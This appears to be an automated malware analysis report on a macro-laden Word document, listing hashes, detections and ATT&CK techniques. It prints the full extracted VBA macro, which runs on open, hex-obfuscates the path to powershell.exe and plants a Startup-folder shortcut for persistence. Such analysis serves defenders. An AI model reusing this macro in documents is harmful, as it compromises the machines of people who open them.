Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a5e7d347a54871c0…

MALICIOUS

Office (OOXML)

19.8 KB Created: 2021-09-16 17:59:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-25
MD5: 0a7d2ad7a84bc25e3827d1fa8ae7d794 SHA-1: b1cfadc056bb8f068afc1980b14e3d0fcfb99652 SHA-256: a5e7d347a54871c007fd95025bb19d260dca83b070ad4355bbfceaf24a2e424b
502 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that are automatically executed upon opening the document, as indicated by the AutoOpen, Document_Open, Auto_Open, and Workbook_Open subroutines. These macros utilize WScript.Shell to construct a path and create a shortcut file named 'test.lnk' in the user's Startup folder. The target of this shortcut is dynamically constructed to point to 'powershell.exe', indicating an attempt to establish persistence and likely download a second-stage payload.

Heuristics 11

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1601 bytes
SHA-256: 9613201770c81ccb0c1d0d8ac5e2253af75210ff51360580b83bcdf45e5df4c7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Public Launched As Integer

Private Sub Launch()

If Launched = True Then
    Exit Sub
End If

Launched = True

Dim MyMessage As String, myFileName As String, ChildrenW

StartupPath = CreateObject("Wscript.Shell").SpecialFolders("Startup")
myFileName = "C:\Windows\System32\Windows" & getThatWord("p")
myFileName = myFileName & "\v1.0\"
myFileName = myFileName & getThatWord("p")
myFileName = myFileName & "."
myFileName = myFileName & getThatWord("e")

'MsgBox myFileName

With CreateObject("WScript.Shell").CreateShortcut(StartupPath & "\test.lnk")
    .TargetPath = myFileName
    .WindowStyle = 7
    .Description = "Shortcut to the file"
    .Save
End With



End Sub

Function getThatWord(ByVal word)
    Select Case word
        Case "p"
            ChildrenW = Array("70", "6f", "77", "65", "72", "73", "68", "65", "6c", "6c")
        Case "e"
            ChildrenW = Array("65", "78", "65")
    End Select
    
    ThatWord = ""
    For Each Child In ChildrenW
       ThatWord = ThatWord & Chr("&H" & Child)
    Next
    getThatWord = ThatWord
End Function

Sub AutoOpen()
    Launch
End Sub

Sub Document_Open()
    Launch
End Sub

Sub Auto_Open()
    Launch
End Sub

Sub Workbook_Open()
    Launch
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20992 bytes
SHA-256: 368cb70c7a4459673e7394100e533b4b98828da1b712e23d816b60bc9d14712d
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely

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